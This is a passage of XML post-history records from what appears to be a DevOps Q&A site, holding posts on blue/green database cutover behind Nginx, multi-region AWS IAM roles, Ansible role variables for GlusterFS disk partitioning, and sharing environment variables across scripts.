  <row Id="34221" PostHistoryTypeId="3" PostId="11183" RevisionGUID="cc7eeddf-c19c-4353-9df5-84a0bb51b61b" CreationDate="2020-03-27T12:54:12.283" UserId="20262" Text="&lt;load-balance&gt;&lt;builds&gt;&lt;logging&gt;&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34225" PostHistoryTypeId="2" PostId="11185" RevisionGUID="875d02fb-be6d-4763-a200-0951d0af1c41" CreationDate="2020-03-27T14:46:29.277" UserId="18637" Text="Dude, will depends of what you want to use or follow. Actually cloud + DevOps it's a buzzword in use.&#xD;&#xA;So you can start reading about Cloud Architecture, Modern Infrastructure.&#xD;&#xA;Refer about one book, maybe these: [https://www.springer.com/gp/book/9783030037116][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.springer.com/gp/book/9783030037116" ContentLicense="CC BY-SA 4.0" />
  <row Id="34229" PostHistoryTypeId="5" PostId="11173" RevisionGUID="f1c4f226-d512-47b1-846d-0f0be125e274" CreationDate="2020-03-27T22:47:10.397" UserId="20388" Comment="added 1 character in body" Text="Imaging I have 2 sets of environment(Blue and Green)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;           +&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           v&#xD;&#xA;   +-------+---------+&#xD;&#xA;   |     Proxy/LB    |&#xD;&#xA;   |                 |&#xD;&#xA;   +--+-------------++&#xD;&#xA;      |             |&#xD;&#xA;+-----++          +-+----+&#xD;&#xA;|      |          |      |&#xD;&#xA;|APP v1|          |APP v2|&#xD;&#xA;|Blue  |          |Green |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;   |                 |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;| DB   |          | DB   |&#xD;&#xA;| Blue | DB Sync  | Green|&#xD;&#xA;|      &lt;----------&gt;      |&#xD;&#xA;+------+          +------+&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The version Blue is currently running and green is deployed and all DB replication completed. Now I want switch traffic to green environment. In this case, what is the best way to manage the DB trasactions?(I have one thought below)&#xD;&#xA;&#xD;&#xA;* Forword the new traffic to green and wait for existing blue's environment's trasactions complete. Once all are done, switch traffic completly to green.&#xD;&#xA;&#xD;&#xA;If above is true, have to little extra work to forword only new traffic to green.&#xD;&#xA;&#xD;&#xA;Or what is the best to do Blue Green in this case?&#xD;&#xA;&#xD;&#xA;**PS:**&#xD;&#xA;&#xD;&#xA;* We are using Nginx proxy&#xD;&#xA;* All servers are baremetal, no cloud!&#xD;&#xA;* 2 standalone DB setups(Postgresql with master-slave) " ContentLicense="CC BY-SA 4.0" />
  <row Id="34239" PostHistoryTypeId="50" PostId="9617" RevisionGUID="c9f5654b-06a0-476f-8498-305856660321" CreationDate="2020-03-28T19:03:10.500" UserId="-1" />
  <row Id="34240" PostHistoryTypeId="2" PostId="11187" RevisionGUID="204e9901-1b5f-42f4-a22b-96ef60597c8a" CreationDate="2020-03-28T23:56:55.717" UserId="16059" Text="In the past, I've usually had separate accounts for each region that I've worked in.  These accounts had different IAM roles/etc, so there was very little chance I'd inadvertently mess up region A when working on region B and vice versa.&#xD;&#xA;&#xD;&#xA;Recently, we deployed to another region *within the same account*.  This means, without extra controls, just setting the default region differently on your CLI could have fairly disastrous consequences.&#xD;&#xA;&#xD;&#xA;While IAM is global, is it generally recommended to have distinct uses per region / restrict which resources they can hit with policies, or is that overkill?  Are there any good tools for helping you &quot;not mess up&quot; when running anything on the CLI?  (including things like terraform)?  Do you know any other &quot;best practices&quot; or good resources to learn about this particular area?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34241" PostHistoryTypeId="1" PostId="11187" RevisionGUID="204e9901-1b5f-42f4-a22b-96ef60597c8a" CreationDate="2020-03-28T23:56:55.717" UserId="16059" Text="AWS Credentials - What are multi region user/role management best practices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34242" PostHistoryTypeId="3" PostId="11187" RevisionGUID="204e9901-1b5f-42f4-a22b-96ef60597c8a" CreationDate="2020-03-28T23:56:55.717" UserId="16059" Text="&lt;amazon-web-services&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34243" PostHistoryTypeId="50" PostId="9221" RevisionGUID="987a2252-16f8-4c30-820d-67e0bdff6e8b" CreationDate="2020-03-29T16:02:15.317" UserId="-1" />
  <row Id="34244" PostHistoryTypeId="2" PostId="11188" RevisionGUID="ce46d954-922c-4abc-8a7f-18fddee871bc" CreationDate="2020-03-29T16:55:55.180" UserId="17218" Text="I want to roll out a partitioning layout for a home lab setup of GlusterFS and also want to do it using Ansible so I can re-use the configuration for a more stable setup later on. This is also the first time I work with Ansible so please bear with me ;)&#xD;&#xA;&#xD;&#xA;How do I use variables across roles correctly?&#xD;&#xA;&#xD;&#xA;I created a role for the basic partitioning of a single data disk and I want to have 3 disks on each node.&#xD;&#xA;&#xD;&#xA;My nodes are as follows (path = `inventories/staging/hosts.yaml`)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;all:&#xD;&#xA;  hosts:&#xD;&#xA;    node1:&#xD;&#xA;      ansible_host: node1&#xD;&#xA;    node2:&#xD;&#xA;      ansible_host: node2&#xD;&#xA;&#xD;&#xA;storageservers:&#xD;&#xA;  hosts:&#xD;&#xA;    node1:&#xD;&#xA;      ansible_host: node1&#xD;&#xA;    node2:&#xD;&#xA;      ansible_host: node2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The base role used by the aggregating role is as follows (path = `roles/gluster-node-partition/tasks/main.yml`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# tasks file for gluster-node-partition&#xD;&#xA;- name: 'Create {{ partition_name }} partition'&#xD;&#xA;  parted:&#xD;&#xA;    device: '{{ device_name }}'&#xD;&#xA;    number: 1&#xD;&#xA;    label: gpt&#xD;&#xA;    name: '{{ partition_name }}'&#xD;&#xA;    state: present&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Create filesystem on {{ partition_name }} partition'&#xD;&#xA;  filesystem:&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    dev: '{{ device_name }}1' #should expand to something like '/dev/sdb1'&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Create mount point for {{ partition_name }} partition'&#xD;&#xA;  file:&#xD;&#xA;    path: '/{{ partition_name }}'&#xD;&#xA;    state: directory&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Mount {{ partition_name }} partition'&#xD;&#xA;  mount:&#xD;&#xA;    path: '/{{ partition_name }}'&#xD;&#xA;    src: 'LABEL={{ partition_name }}'&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    state: present&#xD;&#xA;  become: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The aggregating role is as follows (path = `roles/gluster-node/tasks/main.yml`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# tasks file for gluster-node&#xD;&#xA;- include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;&#xD;&#xA;- name: Create data1 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdb'&#xD;&#xA;    partition_name: 'data1'&#xD;&#xA;&#xD;&#xA;- name: Create data2 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdc'&#xD;&#xA;    partition_name: 'data2'&#xD;&#xA;&#xD;&#xA;- name: Create data3 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: cluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdd'&#xD;&#xA;    partition_name: 'data3'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I invoke the following command `ansible-playbook -i inventories/playground/hosts.yaml site.yml -K`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The output is as follows&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;BECOME password: &#xD;&#xA;&#xD;&#xA;PLAY [storageservers] *****************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ****************************************************************************************************************************************&#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] ******************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create {{ partition_name }} partition] *****************************************************************************************&#xD;&#xA;fatal: [node1]: FAILED! =&gt; {&quot;msg&quot;: &quot;The task includes an option with an undefined variable. The error was: 'device_name' is undefined\n\nThe error appears to be in '/home/user/ansible/roles/gluster-node-partition/tasks/main.yml': line 3, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n# tasks file for gluster-node-partition\n- name: 'Create {{ partition_name }} partition'\n  ^ here\nWe could be wrong, but this one looks like it might be an issue with\nmissing quotes. Always quote template expression brackets when they\nstart a value. For instance:\n\n    with_items:\n      - {{ foo }}\n\nShould be written as:\n\n    with_items:\n      - \&quot;{{ foo }}\&quot;\n&quot;}&#xD;&#xA;fatal: [node2]: FAILED! =&gt; {&quot;msg&quot;: &quot;The task includes an option with an undefined variable. The error was: 'device_name' is undefined\n\nThe error appears to be in '/home/user/ansible/roles/gluster-node-partition/tasks/main.yml': line 3, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n# tasks file for gluster-node-partition\n- name: 'Create {{ partition_name }} partition'\n  ^ here\nWe could be wrong, but this one looks like it might be an issue with\nmissing quotes. Always quote template expression brackets when they\nstart a value. For instance:\n\n    with_items:\n      - {{ foo }}\n\nShould be written as:\n\n    with_items:\n      - \&quot;{{ foo }}\&quot;\n&quot;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP ****************************************************************************************************************************************************&#xD;&#xA;node1                      : ok=1    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0   &#xD;&#xA;node2                      : ok=1    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0  &#xD;&#xA;``` " ContentLicense="CC BY-SA 4.0" />
  <row Id="34245" PostHistoryTypeId="1" PostId="11188" RevisionGUID="ce46d954-922c-4abc-8a7f-18fddee871bc" CreationDate="2020-03-29T16:55:55.180" UserId="17218" Text="I don't get it use of variables in Ansible roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="34246" PostHistoryTypeId="3" PostId="11188" RevisionGUID="ce46d954-922c-4abc-8a7f-18fddee871bc" CreationDate="2020-03-29T16:55:55.180" UserId="17218" Text="&lt;ansible&gt;&lt;glusterfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34247" PostHistoryTypeId="2" PostId="11189" RevisionGUID="8ea1a24b-c8df-49cc-8a5e-a7e85d6b3023" CreationDate="2020-03-29T17:18:42.000" UserId="16059" Text="Your very first role include does not have variables provided with it, so it will probably be failing.&#xD;&#xA;&#xD;&#xA;Here's an excerpt from above showing this.  Notice lines 1-2 have no variables after them (unlike the include following that which does correctly provide the variables).&#xD;&#xA;&#xD;&#xA;    - include_role:&#xD;&#xA;        name: gluster-node-partition&#xD;&#xA;    &#xD;&#xA;    - name: Create data1 partition&#xD;&#xA;      include_role:&#xD;&#xA;        name: gluster-node-partition&#xD;&#xA;      vars:&#xD;&#xA;        device_name: '/dev/sdb'&#xD;&#xA;        partition_name: 'data1'" ContentLicense="CC BY-SA 4.0" />
  <row Id="34248" PostHistoryTypeId="5" PostId="11189" RevisionGUID="cb86c35e-1f44-4c7a-8de1-3dd094bce66f" CreationDate="2020-03-29T17:30:41.053" UserId="16059" Comment="added 618 characters in body" Text="Your very first role include does not have variables provided with it, so it will fail.&#xD;&#xA;&#xD;&#xA;Here's an excerpt from above showing this.  Notice lines 1-2 have no variables after them (unlike the include following that which does correctly provide the variables).&#xD;&#xA;&#xD;&#xA;    - include_role:&#xD;&#xA;        name: gluster-node-partition&#xD;&#xA;    &#xD;&#xA;    - name: Create data1 partition&#xD;&#xA;      include_role:&#xD;&#xA;        name: gluster-node-partition&#xD;&#xA;      vars:&#xD;&#xA;        device_name: '/dev/sdb'&#xD;&#xA;        partition_name: 'data1'&#xD;&#xA;&#xD;&#xA;As ```roles/gluster-node-partition/tasks/main.yml``` uses device_name twice, and it is not defined for that first call, it will fail. The two usages are noted on line 2 and on the last line below.&#xD;&#xA;&#xD;&#xA;      parted:&#xD;&#xA;        device: '{{ device_name }}'&#xD;&#xA;        number: 1&#xD;&#xA;        label: gpt&#xD;&#xA;        name: '{{ partition_name }}'&#xD;&#xA;        state: present&#xD;&#xA;      become: true&#xD;&#xA;    &#xD;&#xA;    - name: 'Create filesystem on {{ partition_name }} partition'&#xD;&#xA;      filesystem:&#xD;&#xA;        fstype: btrfs&#xD;&#xA;        dev: '{{ device_name }}1' #should expand to something like '/dev/sdb1'" ContentLicense="CC BY-SA 4.0" />
  <row Id="34255" PostHistoryTypeId="5" PostId="11173" RevisionGUID="ed95af24-daa1-4a3c-a152-90756d531085" CreationDate="2020-03-29T22:23:28.447" UserId="20388" Comment="added 44 characters in body" Text="Imaging I have 2 sets of environment(Blue and Green)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;           +&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           v&#xD;&#xA;   +-------+---------+&#xD;&#xA;   |     Proxy/LB    |&#xD;&#xA;   |                 |&#xD;&#xA;   +--+-------------++&#xD;&#xA;      |             |&#xD;&#xA;+-----++          +-+----+&#xD;&#xA;|      |          |      |&#xD;&#xA;|APP v1|          |APP v2|&#xD;&#xA;|Blue  |          |Green |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;   |                 |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;| DB   |          | DB   |&#xD;&#xA;| Blue | DB Sync  | Green|&#xD;&#xA;|      &lt;----------&gt;      |&#xD;&#xA;+------+          +------+&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The version Blue is currently running and green is deployed and all DB replication completed. Now I want switch traffic to green environment. In this case, what is the best way to manage the DB trasactions?(I have one thought below)&#xD;&#xA;&#xD;&#xA;* Forword the new traffic to green and wait for existing blue's environment's trasactions complete. Once all are done, switch traffic completly to green(**UPDATE: Can I achive this with Nginx?**)&#xD;&#xA;&#xD;&#xA;If above is true, have to little extra work to forword only new traffic to green.&#xD;&#xA;&#xD;&#xA;Or what is the best to do Blue Green in this case?&#xD;&#xA;&#xD;&#xA;**PS:**&#xD;&#xA;&#xD;&#xA;* We are using Nginx proxy&#xD;&#xA;* All servers are baremetal, no cloud!&#xD;&#xA;* 2 standalone DB setups(Postgresql with master-slave) &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34256" PostHistoryTypeId="2" PostId="11192" RevisionGUID="37ddfc8e-f574-49f1-81f8-8f1d2d988e16" CreationDate="2020-03-30T04:31:00.090" UserId="354" Text="You might want to use the group vars feature, so that your playbooks stay clean and re-usable.&#xD;&#xA;You define a `storageservers` group in your inventory; associated with this group, Ansible will look for `group_vars/storageservers.yml` for the vars to associate with this group. Here, you can set the variables:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# group_vars/storageservers.yml&#xD;&#xA;---&#xD;&#xA;partitions:&#xD;&#xA; - device_name: /dev/sdb&#xD;&#xA;   partition_name: /data1&#xD;&#xA; - device_name: /dev/sdc&#xD;&#xA;   partition_name: /data2&#xD;&#xA; - device_name: /dev/sdd&#xD;&#xA;   partition_name: /data3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, you have a list of partitions which will be picked up when you target `hosts: storageservers`, which you can loop over with one statement instead of 3:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# playbook.yml&#xD;&#xA;---&#xD;&#xA;hosts: storage&#xD;&#xA;become: true&#xD;&#xA;roles:&#xD;&#xA;  - gluster-node-partition&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Updated tasks:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# roles/gluster-node-partition/tasks.yml&#xD;&#xA;- name: &quot;Create {{ item['partition_name'] }} partition&quot;&#xD;&#xA;  parted:&#xD;&#xA;    device: &quot;{{ item['device_name'] }}&quot;&#xD;&#xA;    number: 1&#xD;&#xA;    label: gpt&#xD;&#xA;    name: &quot;{{ item['partition_name' }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;  loop: &quot;{{ partitions }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Create filesystem on {{ item['partition_name'] }} partition&quot;&#xD;&#xA;  filesystem:&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    dev: &quot;{{ item['device_name'] }}1&quot; #should expand to something like '/dev/sdb1'&#xD;&#xA;  item: &quot;{{ partitions }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Create mount point for {{ item['partition_name'] }} partition&quot;&#xD;&#xA;  file:&#xD;&#xA;    path: '/{{ item['partition_name'] }}'&#xD;&#xA;    state: directory&#xD;&#xA;  loop: &quot;{{ partitions }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Mount {{ item['partition_name'] }} partition&quot;&#xD;&#xA;  mount:&#xD;&#xA;    path: &quot;/{{ item['partition_name'] }}&quot;&#xD;&#xA;    src: &quot;LABEL={{ item['partition_name'] }}&quot;&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    state: present&#xD;&#xA;  loop: &quot;{{ partitions }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Doing it this way separates variables from tasks. If you want to add or change a filesystem, you only need to change the _variable_ and not the _playbook_.&#xD;&#xA;&#xD;&#xA;You also have a much cleaner playbook -- just a few lines. It's clear that this _all_ of the filesystem stuff is contained in the role.&#xD;&#xA;&#xD;&#xA;If you have a different set of machines where you want different mounts, you only have to add a new group, give that group a new `partitions` variable, and target it in the same way by setting `hosts: other_storage_servers`.&#xD;&#xA;&#xD;&#xA;For reference, see the Ansible docs on :&#xD;&#xA;&#xD;&#xA;- [Targetting groups](https://docs.ansible.com/ansible/latest/user_guide/intro_patterns.html)&#xD;&#xA;- [Variable precedence](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable)&#xD;&#xA;- [Looping over hashes](https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html#iterating-over-a-list-of-hashes)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34258" PostHistoryTypeId="2" PostId="11193" RevisionGUID="00afb3b7-92f0-45e4-96e2-4e0d448938dd" CreationDate="2020-03-30T06:14:04.480" UserId="20386" Text="I contacted the support of Google Cloud about this question and they told me that Cloud SQL isn't build to perform this change without downtime. If I want to be able to make these changes, I should look at Cloud Spanner which is a horizontal scalable SQL solution provided by Google. " ContentLicense="CC BY-SA 4.0" />
  <row Id="34259" PostHistoryTypeId="4" PostId="11188" RevisionGUID="6e8157c9-5063-427e-a080-a42a56f2b57b" CreationDate="2020-03-30T07:17:03.533" UserId="17218" Comment="fixed wording in title" Text="I don't fully understand how to use variables in Ansible roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="34260" PostHistoryTypeId="5" PostId="11188" RevisionGUID="71d670f3-b452-4a72-9b9e-4d38465a2034" CreationDate="2020-03-30T07:39:22.943" UserId="17218" Comment="added solution" Text="**Original question:**&#xD;&#xA;&#xD;&#xA;I want to roll out a partitioning layout for a home lab setup of GlusterFS and also want to do it using Ansible so I can re-use the configuration for a more stable setup later on. This is also the first time I work with Ansible so please bear with me ;)&#xD;&#xA;&#xD;&#xA;How do I use variables across roles correctly?&#xD;&#xA;&#xD;&#xA;I created a role for the basic partitioning of a single data disk and I want to have 3 disks on each node.&#xD;&#xA;&#xD;&#xA;My nodes are as follows (path = `inventories/staging/hosts.yaml`)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;all:&#xD;&#xA;  hosts:&#xD;&#xA;    node1:&#xD;&#xA;      ansible_host: node1&#xD;&#xA;    node2:&#xD;&#xA;      ansible_host: node2&#xD;&#xA;&#xD;&#xA;storageservers:&#xD;&#xA;  hosts:&#xD;&#xA;    node1:&#xD;&#xA;      ansible_host: node1&#xD;&#xA;    node2:&#xD;&#xA;      ansible_host: node2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The base role used by the aggregating role is as follows (path = `roles/gluster-node-partition/tasks/main.yml`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# tasks file for gluster-node-partition&#xD;&#xA;- name: 'Create {{ partition_name }} partition'&#xD;&#xA;  parted:&#xD;&#xA;    device: '{{ device_name }}'&#xD;&#xA;    number: 1&#xD;&#xA;    label: gpt&#xD;&#xA;    name: '{{ partition_name }}'&#xD;&#xA;    state: present&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Create filesystem on {{ partition_name }} partition'&#xD;&#xA;  filesystem:&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    dev: '{{ device_name }}1' #should expand to something like '/dev/sdb1'&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Create mount point for {{ partition_name }} partition'&#xD;&#xA;  file:&#xD;&#xA;    path: '/{{ partition_name }}'&#xD;&#xA;    state: directory&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- name: 'Mount {{ partition_name }} partition'&#xD;&#xA;  mount:&#xD;&#xA;    path: '/{{ partition_name }}'&#xD;&#xA;    src: 'LABEL={{ partition_name }}'&#xD;&#xA;    fstype: btrfs&#xD;&#xA;    state: present&#xD;&#xA;  become: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The aggregating role is as follows (path = `roles/gluster-node/tasks/main.yml`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# tasks file for gluster-node&#xD;&#xA;- include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;&#xD;&#xA;- name: Create data1 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdb'&#xD;&#xA;    partition_name: 'data1'&#xD;&#xA;&#xD;&#xA;- name: Create data2 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdc'&#xD;&#xA;    partition_name: 'data2'&#xD;&#xA;&#xD;&#xA;- name: Create data3 partition&#xD;&#xA;  include_role:&#xD;&#xA;    name: cluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdd'&#xD;&#xA;    partition_name: 'data3'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I invoke the following command `ansible-playbook -i inventories/playground/hosts.yaml site.yml -K`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The output is as follows&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;BECOME password: &#xD;&#xA;&#xD;&#xA;PLAY [storageservers] *****************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ****************************************************************************************************************************************&#xD;&#xA;ok: [node2]&#xD;&#xA;ok: [node1]&#xD;&#xA;&#xD;&#xA;TASK [include_role : gluster-node-partition] ******************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [gluster-node-partition : Create {{ partition_name }} partition] *****************************************************************************************&#xD;&#xA;fatal: [node1]: FAILED! =&gt; {&quot;msg&quot;: &quot;The task includes an option with an undefined variable. The error was: 'device_name' is undefined\n\nThe error appears to be in '/home/user/ansible/roles/gluster-node-partition/tasks/main.yml': line 3, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n# tasks file for gluster-node-partition\n- name: 'Create {{ partition_name }} partition'\n  ^ here\nWe could be wrong, but this one looks like it might be an issue with\nmissing quotes. Always quote template expression brackets when they\nstart a value. For instance:\n\n    with_items:\n      - {{ foo }}\n\nShould be written as:\n\n    with_items:\n      - \&quot;{{ foo }}\&quot;\n&quot;}&#xD;&#xA;fatal: [node2]: FAILED! =&gt; {&quot;msg&quot;: &quot;The task includes an option with an undefined variable. The error was: 'device_name' is undefined\n\nThe error appears to be in '/home/user/ansible/roles/gluster-node-partition/tasks/main.yml': line 3, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n# tasks file for gluster-node-partition\n- name: 'Create {{ partition_name }} partition'\n  ^ here\nWe could be wrong, but this one looks like it might be an issue with\nmissing quotes. Always quote template expression brackets when they\nstart a value. For instance:\n\n    with_items:\n      - {{ foo }}\n\nShould be written as:\n\n    with_items:\n      - \&quot;{{ foo }}\&quot;\n&quot;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP ****************************************************************************************************************************************************&#xD;&#xA;node1                      : ok=1    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0   &#xD;&#xA;node2                      : ok=1    changed=0    unreachable=0    failed=1    skipped=0    rescued=0    ignored=0  &#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;**Solution by w00te:**&#xD;&#xA;Thanks to w00te, it works now :) added the vars like this (`roles/gluster-node/tasks/main.yml`)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# tasks file for gluster-node&#xD;&#xA;- include_role:&#xD;&#xA;    name: gluster-node-partition&#xD;&#xA;  vars:&#xD;&#xA;    device_name: '/dev/sdb'&#xD;&#xA;    partition_name: 'data1'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34261" PostHistoryTypeId="33" PostId="11173" RevisionGUID="8a944bfa-de42-4300-b3cc-5a572bec17b5" CreationDate="2020-03-30T09:30:36.130" UserId="20388" Comment="54" />
  <row Id="34262" PostHistoryTypeId="2" PostId="11194" RevisionGUID="57293ac8-2b3b-40ef-b722-92c54078e784" CreationDate="2020-03-30T14:34:28.757" UserId="3125" Text="Start by reading this: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html&#xA;&#xA;Those are best-practices and do not take into account business policies.&#xA;&#xA;I don't think having one account per region is more secure than having policies scoped by regions. In cli, you will have to specify the region in the command anyway (not sure if AWS cli use a default region if you don't specify one in your credentials file)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34264" PostHistoryTypeId="5" PostId="11173" RevisionGUID="bf0de203-9995-4261-ba25-d4b4fbb1d5c5" CreationDate="2020-03-30T17:44:55.887" UserId="20398" Comment="corrected spellings ,fixed grammar" Text="Imagining I have 2 sets of environment(Blue and Green)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;           +&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           v&#xD;&#xA;   +-------+---------+&#xD;&#xA;   |     Proxy/LB    |&#xD;&#xA;   |                 |&#xD;&#xA;   +--+-------------++&#xD;&#xA;      |             |&#xD;&#xA;+-----++          +-+----+&#xD;&#xA;|      |          |      |&#xD;&#xA;|APP v1|          |APP v2|&#xD;&#xA;|Blue  |          |Green |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;   |                 |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;| DB   |          | DB   |&#xD;&#xA;| Blue | DB Sync  | Green|&#xD;&#xA;|      &lt;----------&gt;      |&#xD;&#xA;+------+          +------+&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The version Blue is currently running and green is deployed and all DB replication completed. Now I want switch traffic to green environment. In this case, what is the best way to manage the DB transactions?(I have one thought below)&#xD;&#xA;&#xD;&#xA;* Forward the new traffic to green and wait for existing blue's environment's transactions complete. Once all are done, switch traffic completely to green(**UPDATE: Can I achieve this with Nginx?**)&#xD;&#xA;&#xD;&#xA;If above is true, I'd have to do little extra work to forward only new traffic to green.&#xD;&#xA;&#xD;&#xA;Or what is the best way of doing Blue Green deployment in this case?&#xD;&#xA;&#xD;&#xA;**PS:**&#xD;&#xA;&#xD;&#xA;* We are using Nginx proxy&#xD;&#xA;* All servers are bare metal, no cloud!&#xD;&#xA;* 2 standalone DB setups(Postgresql with master-slave) &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34265" PostHistoryTypeId="24" PostId="11173" RevisionGUID="bf0de203-9995-4261-ba25-d4b4fbb1d5c5" CreationDate="2020-03-30T17:44:55.887" Comment="Proposed by 20398 approved by 354, 40 edit id of 1176" ContentLicense="CC BY-SA 4.0" />
  <row Id="34266" PostHistoryTypeId="2" PostId="11195" RevisionGUID="8585c267-d117-48aa-b3c9-384479202828" CreationDate="2020-03-30T19:15:32.353" UserId="21438" Text="I am setting up a new infrastructure as code repository for a small to medium size project. The problem I am currently trying to solve is how to store my environment variables such that they can be read and used by all services and scripts within the repo. Some of the tools being used are Ansible, Powershell, Bash...&#xD;&#xA;&#xD;&#xA;My current solution is a simple text file, manually created per environment. Each line has a variable that the services and scripts can look up. However, this seems clunky, as I have to create the logic to read this file in every script that is made.&#xD;&#xA;&#xD;&#xA;So my question is, what approach should I be taking to provide all my services with environment variables? Am I on the right track, or should I be using something entirely different for this?&#xD;&#xA;&#xD;&#xA;I'm not sure what I can use to provide this to all the different tools.&#xD;&#xA;For details sake, I am not talking about secrets management. I mean variables such as: DNS address of the environment's DC, log server address, etc... &#xD;&#xA;There are significant constraints on addition of new software/tools due to the sensitivity of the environment. For example, I was considering using JSON format for the environment file, but Bash does not parse that natively. Meaning I would have to install a third party tool like 'jq' to 